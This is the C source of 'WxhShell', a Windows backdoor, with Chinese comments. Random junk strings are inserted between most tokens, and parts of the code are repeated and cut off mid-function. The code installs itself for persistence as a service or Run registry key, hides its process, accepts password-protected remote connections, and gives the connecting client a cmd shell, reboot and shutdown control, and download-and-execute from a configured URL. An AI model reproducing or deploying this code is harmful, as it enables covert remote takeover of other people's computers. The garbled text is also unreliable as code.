Nv q h+~df(S. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _G[I2] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *;e@t4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;c-
]bhBB 2{B(j&{ if (!NtQueryInformationProcess) return 0; ]p&< nK, Jrd4a~XP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vt=(2d5:p if(!hProcess) return 0; 8J3@VD. V9j1j}
r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A1QI4.K 3E}NiD\V} CloseHandle(hProcess); O| J`~Lk u] U)d$| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9jR[:[
if(hProcess==NULL) return 0; 8$v zpu /;NE]{K HMODULE hMod; Bd9hf`%2 char procName[255];
+lgF/y6 unsigned long cbNeeded; gMBQtPNM CQjZAv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4m~7 ~- h 4:Xj-l^D CloseHandle(hProcess); Wx?&igh +#qt^NO if(strstr(procName,"services")) return 1; // 以服务启动 Bf:tal6 -M i<wU.JX&h return 0; // 注册表启动 B >u,) } D<bU~Gd,P .D,?u"fk| // 主模块 hK39_A- int StartWxhshell(LPSTR lpCmdLine) ;eW'}&|LV { r*N~. tFo SOCKET wsl; i=1 }lkq BOOL val=TRUE; f']sU/c= int port=0; ri<'-w i struct sockaddr_in door; ?D(FNd K 5qLBz@U if(wscfg.ws_autoins) Install(); <F)w=_%& 5B>Q6 port=atoi(lpCmdLine); jemxky 6I&j
cHH if(port<=0) port=wscfg.ws_port; aXIB ) $1 UOu6LD/|h WSADATA data; 6c2ThtL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n4WSV YO(:32S if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p584)"[*t setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nR o=J5tY door.sin_family = AF_INET; nGx ~)T door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9eGCBVW:* door.sin_port = htons(port); ?UZ$bz :_^0'ULP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cK|rrwa0 closesocket(wsl); wrQydI return 1; AJ\VY;m7F } (L
y%{ Y i<#h]o
C} if(listen(wsl,2) == INVALID_SOCKET) { ]HyHz9QkL closesocket(wsl); G}P)vfcH return 1; MOP]\ypn } $v:gBlj%" Wxhshell(wsl); np-T&Pz2 WSACleanup(); K}PvrcO1 :'d76pM- return 0; emv ;m/&8 (|<h^]
y3 } Bw3F7W~l 56Sh // 以NT服务方式启动 h-r6PY=i VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nt
zq"ces) { QT1:>k DWORD status = 0; l5=u3r9WYC DWORD specificError = 0xfffffff; 6%ZHP? H_?;h-Y] serviceStatus.dwServiceType = SERVICE_WIN32; 1UW s_|X! serviceStatus.dwCurrentState = SERVICE_START_PENDING; e(}oq"'z serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k;;nE o~6 serviceStatus.dwWin32ExitCode = 0; N<aB)</ serviceStatus.dwServiceSpecificExitCode = 0; d&aBs++T serviceStatus.dwCheckPoint = 0; #D`S serviceStatus.dwWaitHint = 0; S)"##-~`T YKP=0 j3, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |?x^8e<* if (hServiceStatusHandle==0) return; 7$+P|U 0 W~.WkD status = GetLastError(); :%/\1$3P if (status!=NO_ERROR) W
il{FcHY { u}Ei_
O<z serviceStatus.dwCurrentState = SERVICE_STOPPED; c8#T:HM|` serviceStatus.dwCheckPoint = 0; GFdZ`i serviceStatus.dwWaitHint = 0; ZR/R'prW serviceStatus.dwWin32ExitCode = status; 5mI?pfm serviceStatus.dwServiceSpecificExitCode = specificError; 6Cl+KcJH SetServiceStatus(hServiceStatusHandle, &serviceStatus); v]WH8GI return; 9U2Px$E } ElQJ\% uQ:Qb| serviceStatus.dwCurrentState = SERVICE_RUNNING; 6oj4Rg+( serviceStatus.dwCheckPoint = 0; <K.Bq] serviceStatus.dwWaitHint = 0; EvwbhvA( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0=OD?48< } tCZpfZ@+= i^je.,Bi // 处理NT服务事件,比如:启动、停止 'rS'B.D VOID WINAPI NTServiceHandler(DWORD fdwControl) WYSck&9 { T?H\&2CLT switch(fdwControl) ZJ^s} { 0SJ{@* case SERVICE_CONTROL_STOP: 7'_nc!ME serviceStatus.dwWin32ExitCode = 0; G$cxDGo serviceStatus.dwCurrentState = SERVICE_STOPPED; 8W-]t1O%! serviceStatus.dwCheckPoint = 0; .r ~'(g{qt serviceStatus.dwWaitHint = 0; |.j^G2x { UUl*f!&
o SetServiceStatus(hServiceStatusHandle, &serviceStatus); n<{aPLQ } {hxW,mmA return; M} O[`Fx{W case SERVICE_CONTROL_PAUSE: s,84*6u serviceStatus.dwCurrentState = SERVICE_PAUSED; 4$%`Qh>yA break; 65lOX$*{- case SERVICE_CONTROL_CONTINUE: pz$_W serviceStatus.dwCurrentState = SERVICE_RUNNING; -{!&/;Z break; pAENXC\, case SERVICE_CONTROL_INTERROGATE: mH'\:oN break; =fo4x|{O }; f4R1$(< SetServiceStatus(hServiceStatusHandle, &serviceStatus); /ca(a\@R } h=hoV5d@ DeA @0HOxh // 标准应用程序主函数 q;p.wEbr4U int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a
]>V ZOet { >/b^fAG <E"*)Oi // 获取操作系统版本 lNHNL
a>W OsIsNt=GetOsVer(); yHl@_rN
sC GetModuleFileName(NULL,ExeFile,MAX_PATH); M6\7FP6G %njOX#.w // 从命令行安装 :ezA+=ENg if(strpbrk(lpCmdLine,"iI")) Install(); DX|uHbGg pw!@Q?R // 下载执行文件 {n\6BTs if(wscfg.ws_downexe) { !2(.$}E if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cq gJ WinExec(wscfg.ws_filenam,SW_HIDE); yP
x\ltG3 } 2.]~*7
Y]~IY?I if(!OsIsNt) { Bk+{} // 如果时win9x,隐藏进程并且设置为注册表启动 P2>:p%Z HideProc(); zgK;4
22$m StartWxhshell(lpCmdLine); Pfm*<,'x"[ } )eECOfmnZ else 0X.TF if(StartFromService()) +hpSxdAz4 // 以服务方式启动 0"TgLd StartServiceCtrlDispatcher(DispatchTable); Y7-*2"! else NP "ylMr7P // 普通方式启动 6?O}Q7G StartWxhshell(lpCmdLine); L4~
W/6A $cq!RgRn return 0; 7iP5T } ?C}sR: K/ ^ZR8s^X O"qR }W 97!H`|u < =========================================== R+s1[Z $1~c_<DN uw_H:-J =w6}\ 'X L/)B}8m\ *y{+W " goB;EWz gd
K*"U #include <stdio.h> p(.N(c #include <string.h> )'`CC>Q #include <windows.h> |!oXvXU #include <winsock2.h> lO[E[c G #include <winsvc.h> q4)Ey #include <urlmon.h> $}db /hY* 9T$u+GX' #pragma comment (lib, "Ws2_32.lib") V#NtBreN #pragma comment (lib, "urlmon.lib") ER_ 3' b )Tl* #define MAX_USER 100 // 最大客户端连接数 TQ?#PRB #define BUF_SOCK 200 // sock buffer X>}@EHT #define KEY_BUFF 255 // 输入 buffer bGu([VB 6i| ~7md, #define REBOOT 0 // 重启 !j{CuA/ #define SHUTDOWN 1 // 关机 iyc$)"w O)`Gzx*ShU #define DEF_PORT 5000 // 监听端口 v[VC2D e]+7DE #define REG_LEN 16 // 注册表键长度 w
[L&* #define SVC_LEN 80 // NT服务名长度 1#]B^D O~atNrHD // 从dll定义API 7u|%^Ao6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {gw[%[ZM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pD[pTMG@$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QhsVIta typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); # v+;:
k1RV' // wxhshell配置信息 $,@JYLC2 struct WSCFG {
^iuo^2+ int ws_port; // 监听端口 D&-vq,c char ws_passstr[REG_LEN]; // 口令 i+I0k~wY int ws_autoins; // 安装标记, 1=yes 0=no /~tP7<7A char ws_regname[REG_LEN]; // 注册表键名 :s]\k%" char ws_svcname[REG_LEN]; // 服务名 **n y! char ws_svcdisp[SVC_LEN]; // 服务显示名 )%t7\1)B3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 :WO{x g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W/=7jM int ws_downexe; // 下载执行标记, 1=yes 0=no *t]v}ZV* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jI A#!4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }qL~KA{& >;7a1+`3 }; $cu]_gu +X[8wUm|^ // default Wxhshell configuration SwX@I6huM struct WSCFG wscfg={DEF_PORT, NZP7r;u "xuhuanlingzhe", =-5[Hn% 1, @i{]4rk lv "Wxhshell", KJX>DL 9\ "Wxhshell", \f<z*!,D$ "WxhShell Service", &Q~)]|t "Wrsky Windows CmdShell Service", UhdqY] "Please Input Your Password: ", :T5A84/C 1, Fo(y7$33* "http://www.wrsky.com/wxhshell.exe", uRpBeH]Z" "Wxhshell.exe" S2Vx e@b) }; T6X}Ws " Cx,-_ // 消息定义模块 <S&]$?`{Wi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5e8xKL char *msg_ws_prompt="\n\r? for help\n\r#>"; p(?g- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vzG ABP char *msg_ws_ext="\n\rExit."; e,"FnW char *msg_ws_end="\n\rQuit."; 3e *-\TP- char *msg_ws_boot="\n\rReboot..."; T0Q51Q char *msg_ws_poff="\n\rShutdown..."; MO TE/JG char *msg_ws_down="\n\rSave to "; <%&_#<C) hX3@f;[B2 char *msg_ws_err="\n\rErr!"; QvJZkGX char *msg_ws_ok="\n\rOK!"; =|"=l1 w&5/Zh[~~L char ExeFile[MAX_PATH]; (gU2"{:]J int nUser = 0; ]w-.|vx HANDLE handles[MAX_USER]; F 3s?&T)[G int OsIsNt; Mt=R*M}D0 {[tZ.1.w SERVICE_STATUS serviceStatus; c$A@T~$ SERVICE_STATUS_HANDLE hServiceStatusHandle; -"tY{}z kT2Wm/L // 函数声明 {Xv3:"E"O int Install(void); ]=Pu\eE int Uninstall(void); ^e%k~B^ int DownloadFile(char *sURL, SOCKET wsh); x 'mF&^ int Boot(int flag); gH'3 dS!{ void HideProc(void); Sc{Tq\t;% int GetOsVer(void); (0}j]p'w int Wxhshell(SOCKET wsl); #D0 ~{H void TalkWithClient(void *cs); |T
y=7d , int CmdShell(SOCKET sock); G1[(F`t> int StartFromService(void); B!uxs int StartWxhshell(LPSTR lpCmdLine); He<;4?: &`@lB (m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U=DEV7 E VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zw24f1iY 8i[LR#D) // 数据结构和表定义 .
pP7"E4] SERVICE_TABLE_ENTRY DispatchTable[] = `2e_ L { -N4z-ozhC {wscfg.ws_svcname, NTServiceMain}, #Cx%OIi[f {NULL, NULL} 7>mhK7l }; .1{l[[= W R;'?;I // 自我安装 )qd={ int Install(void) 2vvh|?M { C`EY5"N r char svExeFile[MAX_PATH]; 2LZS|fB9o HKEY key; &mdB\Y?^ strcpy(svExeFile,ExeFile); s~Gw URQ@=W7 // 如果是win9x系统,修改注册表设为自启动 *(Ro;?O,pi if(!OsIsNt) { 7_%2xewV| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LD_M 3
P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /ao<A\KR RegCloseKey(key); 7 Kjj?~RA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CW;m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sUV>@UMnu RegCloseKey(key); -=sf}4A return 0; Q1]Wo9j } y@aKNWy}$ } K:a3+k d } BV1u,<T" else { &g
{<HU?BT u GAh7Sop // 如果是NT以上系统,安装为系统服务 dQK`sLChv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bQj`g2eyM if (schSCManager!=0) Bj=@&; { =]d^3bqN SC_HANDLE schService = CreateService 5W{hH\E _5 ( W0|_]"K- schSCManager, tvT4S wscfg.ws_svcname, B%mtp;) P wscfg.ws_svcdisp, `0z/BCNB SERVICE_ALL_ACCESS, B.RRdK+: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y;r"+bS8 SERVICE_AUTO_START, #<]Iz'\` SERVICE_ERROR_NORMAL, Wp`C:H svExeFile, 3C#RjA-2[ NULL, zQ<88E&&Xs NULL, 2NYi-@mr NULL, "qE {a>d NULL, 3(o7co-f NULL fB7ljg ); <5k&)EoT if (schService!=0) F^miq^K=
{ DyIV/ CloseServiceHandle(schService); ;:?*t{r4# CloseServiceHandle(schSCManager); OW#_ty_ul strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b|6 !EGh strcat(svExeFile,wscfg.ws_svcname); ]zcV]Qj$~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C#h76fpH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i pwW%"6 RegCloseKey(key); qw2)v*Fn return 0; XECikld> } #@E(<Pu4` } 4]EvT=Ro CloseServiceHandle(schSCManager); Rf?%Tv0\ } /`}6rXnw9 } mYzcVhV o6|"J%9GX return 1; zsQF,7/}B } qh H+m c&b/Joi7@ // 自我卸载 :l;,m}#@ int Uninstall(void) gW}} 5Xq { Vf$1Sj w HKEY key; KX=/B=3~ ,6RQvw if(!OsIsNt) { R}hlDJ/m- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y&:/~&' RegDeleteValue(key,wscfg.ws_regname); l@#b;M/ RegCloseKey(key); K#@K"N= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r_q~'r35 _ RegDeleteValue(key,wscfg.ws_regname); F "!`X# RegCloseKey(key); RPY6Wh|4 return 0; umryA{Ps } f}%sO } H(?e&Qkg } H6{Rd+\Z else { M&OsRrq pLPd[a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %xHu,* if (schSCManager!=0) 8TI#7 { <ip)r; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y+= \z*9
if (schService!=0)
ZRO.bMgZF { )Yrr%f`\ if(DeleteService(schService)!=0) { ..aK sSm( CloseServiceHandle(schService); }FZp840 CloseServiceHandle(schSCManager); g&P9UW>qS return 0; TtZrttCE6 } `!_? uT CloseServiceHandle(schService); eiOi3q } f!(cD80 CloseServiceHandle(schSCManager); ?o@E1:aA } 5uzpTNAMM1 } <9T
[yg h ;jsH! return 1; I'P!,Y/> } $:P[v+Uy
Re{ej // 从指定url下载文件 (KZUvsS k int DownloadFile(char *sURL, SOCKET wsh) _4O[[~ { ID&zY;f HRESULT hr; X=\x&Wt char seps[]= "/"; (Y&R0jt char *token; JLt{f=`%F char *file; L-SdQTx_ char myURL[MAX_PATH]; ]2g5Ka[>w char myFILE[MAX_PATH]; X9SJ~n aL{EkiR strcpy(myURL,sURL); 5t TLMZ `o token=strtok(myURL,seps); Gtf1}UJC while(token!=NULL) 2 e) { gZ=)qT]Pj file=token; ;wfH^2HxE) token=strtok(NULL,seps); :LG}yq^ } YK7gd|LR] O$YJku GetCurrentDirectory(MAX_PATH,myFILE); !P+~c0DF strcat(myFILE, "\\"); O'Vh{JHf strcat(myFILE, file); 8}]l9"q( send(wsh,myFILE,strlen(myFILE),0); 3huzz<n3 send(wsh,"...",3,0); CRP7U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [@jp9D
H if(hr==S_OK) @b4b{d5[ return 0; zR_9D} else ^o,y5, return 1; m21QN9(i% L>eQ*311 } I):m6y@ _$~ex ~v // 系统电源模块 i_'|:Uy*F int Boot(int flag) N.kuE=X { "bLP3 HANDLE hToken; ~y( ,EO TOKEN_PRIVILEGES tkp; 9(V=Ubj +*WUH513 if(OsIsNt) { 6f<*1YR
F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7m vSo350 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zgZi tkp.PrivilegeCount = 1; PpI+@:p[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K#%O3RRs AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qFB9,cUqh if(flag==REBOOT) { b6
J2*;XG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o<9yaQ; return 0; _gis+f/8h } 2&3eAJC else { yOn H&Jj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5VCMpy return 0; bf&.rJ0 } RI7qsm6RN } :5q^\xmmq else { rerUM*0 if(flag==REBOOT) { +ytT)S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3uB=L7. return 0; ^d5gz0d } vY8WqG] else { ^'
edE5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /TR"\xQF return 0; <T4 7kL I } ^^20vwq } n#/U@qVgc v]UU&Jq8U return 1; lyMJW}T+> } .2 N_? 7=9A_4G! // win9x进程隐藏模块 QH~8
aE_i void HideProc(void) *RUd!]bh { VuYWb)@ ^H@!)+
= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
oi%5t)VsS if ( hKernel != NULL ) 0%(4G83gw { P"[ifsp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )j)y5_m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ==r? FreeLibrary(hKernel); t6! p\Y}} } R(n0!h4 ;@=@N9qK return; |1\dCE03} } +3~Gc<OO giA~+m~fN // 获取操作系统版本 x0TnS# int GetOsVer(void) *IjdN,wox { ^Y*`D_-G OSVERSIONINFO winfo; f6(9wz$Trt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P %U9S GetVersionEx(&winfo); 4q@9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZIGbwL return 1; pU'`9fLi_ else ZipK;!9by return 0; VLwJ6?.f' } ePu2t3E Y;%R/OyWY // 客户端句柄模块 O #uaGziFf int Wxhshell(SOCKET wsl) OmoplJ+ { pE YrmC SOCKET wsh; lL(}dbT~N struct sockaddr_in client; lhW#IiX DWORD myID; +lXdRc`6 qAuUe=w%p while(nUser<MAX_USER) s\3Z?zm8 { %yS`C"ZQ) int nSize=sizeof(client); [h2p8i'o wsh=accept(wsl,(struct sockaddr *)&client,&nSize); " N`V*0h if(wsh==INVALID_SOCKET) return 1; uV*f[l >k&lGF<nl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eW }jS/g` if(handles[nUser]==0) JXI+k.fi closesocket(wsh); ~$TE else iX9[Q0g=oQ nUser++; "cz]bCr8 } ^0BF2&Zx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jT wM<? L;(3u' return 0; <|>:UGAR } '8kL1 j_YZ(: = // 关闭 socket 5D02%U2N)G void CloseIt(SOCKET wsh) G3^n_]Jb { 2=UTH%1D closesocket(wsh); tr67ofld| nUser--; j)lM:vXR ExitThread(0); MlcoOi! } %(wsGNd dA M ilTo // 客户端请求句柄 7HR%rO?' void TalkWithClient(void *cs) Af!
W
K= { 7+2aG *F4G qX3 SOCKET wsh=(SOCKET)cs; 6u]OXPA| char pwd[SVC_LEN]; 80l3.z,: char cmd[KEY_BUFF]; kdueQ(\ char chr[1]; s"^YW+HMb int i,j; qT-nD} yrvSbqR while (nUser < MAX_USER) { A5>gLhl7 ju2X* if(wscfg.ws_passstr) { L^ jC&
dF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YQ[&h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Av- ;!] //ZeroMemory(pwd,KEY_BUFF); ~?8x0 i=0; 4 *2>R8SX~ while(i<SVC_LEN) { TQxc?o /\Y%DpG$ // 设置超时 yKk,); fd_set FdRead; G4`sRaT. struct timeval TimeOut;
p=P0$P+KM FD_ZERO(&FdRead); iRr&'k
FD_SET(wsh,&FdRead); M6 >\R$ TimeOut.tv_sec=8; /-<m(72wF TimeOut.tv_usec=0; n*8RYm)? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gQzJ2LU( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0_xcrM bU +eJU_% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J;]@?( pwd=chr[0]; NB6h/0*v if(chr[0]==0xd || chr[0]==0xa) { #L*@~M^] pwd=0; H f mMf^c break; BrH`:Dw } }Us$y0W\ i++; @snLE?g j } A,CPR0g% u C8T!z // 如果是非法用户,关闭 socket 0 Ukl#6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vgb>3]SU } X72X:" -H]f@|AOw send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `\FjO" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o5G "J"vxe s$y#Ufz while(1) { /v ;Kb|e a0W\? ZeroMemory(cmd,KEY_BUFF); )cmLo0`$ ny?m&;^r: // 自动支持客户端 telnet标准 !?-5hh1\ j=0; r#Oz0=0u while(j<KEY_BUFF) { DO,&Foh\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S/:QVs cmd[j]=chr[0]; e ~,'|~
C5 if(chr[0]==0xa || chr[0]==0xd) { eJ\j{- cmd[j]=0; `j"G=%e3. break; 5 9J$SE } umn~hb5O j++; %_=R&m'n` } U=#ylQ Z1lF[d,f; // 下载文件 U\GZ
if(strstr(cmd,"http://")) { V4i%|vV send(wsh,msg_ws_down,strlen(msg_ws_down),0); N S}`(N if(DownloadFile(cmd,wsh)) G(3la3\( send(wsh,msg_ws_err,strlen(msg_ws_err),0); E&tmWOMj> else Gbm_xEPC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M[N.H9 } cQ ;Ry!$ else { y8n1IZ*#SZ T FA switch(cmd[0]) { ]TprPU39 P&`r87J // 帮助 l%5%oN`4 case '?': { [MP:Eeg send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U jzz`!mz break; ]BBgU[O)
! } /%w[q:..h // 安装 AFJY!ou~6 case 'i': { IGV.0l if(Install()) 1>{-wL4rc send(wsh,msg_ws_err,strlen(msg_ws_err),0); c^gIK1f- else 'n#S6.Y: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iC2nHZ*, break; z(68^-V=: } Ui;s.f // 卸载 5&Kn # case 'r': { kU>|E<c* if(Uninstall()) trt\PP:H% send(wsh,msg_ws_err,strlen(msg_ws_err),0); V/%;:ul. else ryLNMh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g'7hc~= break; {
4{{;
} RYaofW // 显示 wxhshell 所在路径 ]7
mSM case 'p': { ~,-O char svExeFile[MAX_PATH]; ?^5*[H strcpy(svExeFile,"\n\r"); shvcc strcat(svExeFile,ExeFile); *%BI*p send(wsh,svExeFile,strlen(svExeFile),0); ,w>?N\w!} break; JLn<,Gn)<\ } %"fKZ // 重启 z5'nS&x case 'b': { Z-!T(:E] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [&s:x, if(Boot(REBOOT)) ; O0rt1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -RDs{c`y%N else { DCUq.q) closesocket(wsh); bj{f[nZ d ExitThread(0); _\;#a } SnU{ZGR>sP break; A6.'1OD } ^ w1R"qE"m // 关机 2` qXDfD` case 'd': { 0Ch._~Q+20 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n9-[z2n if(Boot(SHUTDOWN)) `:O.g9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0lN8#k>H else { :[03upyS closesocket(wsh); |:[vpJFK ExitThread(0); 7E)7sd } a[ l5k break; mj|9x1U) } [
Ulo; #P // 获取shell X+@,vCC case 's': { ^`?>
Huu<w CmdShell(wsh); HE'8 closesocket(wsh); y@JYkp>I ExitThread(0); ]zY'w,?D\F break; >L4$DKO } /MtacR // 退出 ^SCWT\E case 'x': { )zV5KC{{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FR"^?z?}p CloseIt(wsh); j-|0&X1C break; zSCPp6 } "PtH
F`mo // 离开 s$6#3%h case 'q': { |_m;@.44?U send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ka{Zoi] closesocket(wsh); 5Oq ;V:7 WSACleanup(); Vrh],xK7 exit(1); MEUqQ4/Gl break; WQL`;uIX } h]P$L> } mX_`rvYII } jXZNr |pY0IqO // 提示信息 RoRVu,1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iKY&gnu" } _AHVMsz@ } YfKty0 V|7CYkB8 return;
(5_(s`q. } hBu=40K t57b)5{FM // shell模块句柄 lh5d6VUA int CmdShell(SOCKET sock) k>`X!
" { &pz8vWCk STARTUPINFO si; yqwr0yDAl ZeroMemory(&si,sizeof(si)); =T]OYk si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ")OLmkC si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $ 1ZY
Vw PROCESS_INFORMATION ProcessInfo; ]"6<"1) char cmdline[]="cmd"; gId+hxFa:r CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Jfo(j return 0; ?#m5$CFp } .YRSd Ls{fCi/2F // 自身启动模式 jFfki.H int StartFromService(void) wQc w# { y[rLk typedef struct 9A!qg< { 3>6o=7/PU DWORD ExitStatus; 'CX
KphlWs DWORD PebBaseAddress; b.;W|$ . DWORD AffinityMask; 6wgOmyJx DWORD BasePriority; Y)`+u#`
R ULONG UniqueProcessId; f14c}YY ULONG InheritedFromUniqueProcessId; }^q#0`e(y } PROCESS_BASIC_INFORMATION; $Vzfhj-if |z%,W/Ef PROCNTQSIP NtQueryInformationProcess; _JH6bvbQ cw\a,>]H static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x7?{*w&r static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rGWTpN Xk$lQMwZ HANDLE hProcess; .w~USJ=X PROCESS_BASIC_INFORMATION pbi; :*1w;>o)n R7i*f/m HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A-FwNo2"% if(NULL == hInst ) return 0; 0"N %Vm w6_}]
&F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L;[*F-+jD g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); guvQISQlY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d}Om?kn iJBZnU:Mp if (!NtQueryInformationProcess) return 0; O]>`B{ C0RwW??t hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %}[??R0 if(!hProcess) return 0; V|)> $u :=lA:N if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gf?KpU X#y l8k_ CloseHandle(hProcess); @!$NUY8,A# rxARJso hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2wd(0K}b if(hProcess==NULL) return 0; $c-3Q|C i*<,@* HMODULE hMod; fVM%.` char procName[255];
